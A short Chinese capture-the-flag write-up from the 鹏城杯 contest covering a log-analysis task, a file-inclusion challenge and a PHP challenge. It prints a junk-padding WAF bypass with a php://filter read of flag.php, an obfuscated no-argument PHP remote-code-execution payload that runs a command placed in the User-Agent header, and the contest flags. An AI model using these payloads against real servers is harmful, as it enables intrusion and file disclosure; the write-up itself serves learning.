鹏城杯

what_is_log

查看附件日志，通过上下关联，分析看到数据库登陆的信息

即推断flag为PCL{1555a651a13ec074ce725383214fd7cc}

简单包含

简单的文件包含，测试发现存在waf

使用脏数据绕过，成功执行包含文件

wsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsy&flag=php://filter/read=convert.base64-encode/resource=flag.php

PCL{bc58644f-f757-11ec-9edf-5224002d2b29}

简单的php

简单分析一下代码，是get传参，对传参内容长度加以限制，并且过滤了字母和数字，整体来看这题考察的是无参数rce

写了个脚本进行无参绕过

通过绕过可以查看文件

最终在ua头修改内容为cat /ffffflaggg的情况下，实现无参rce，得到flag

POST /?code=[~%8C%86%8C%8B%9A%92][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]())); HTTP/1.1
Host: 192.168.1.111:8220
User-Agent: cat /ffffflaggg
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.111:8220
Connection: close
Referer: http://192.168.1.111:8220/?code=[~%8C%86%8C%8B%9A%92][!%FF]();
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Content-Length: 0

PCL{b35a314f-ff57-13a2-9ad1-002d22deeb2a}

总结

24小时的比赛最后定格九十名，还是太菜，继续努力吧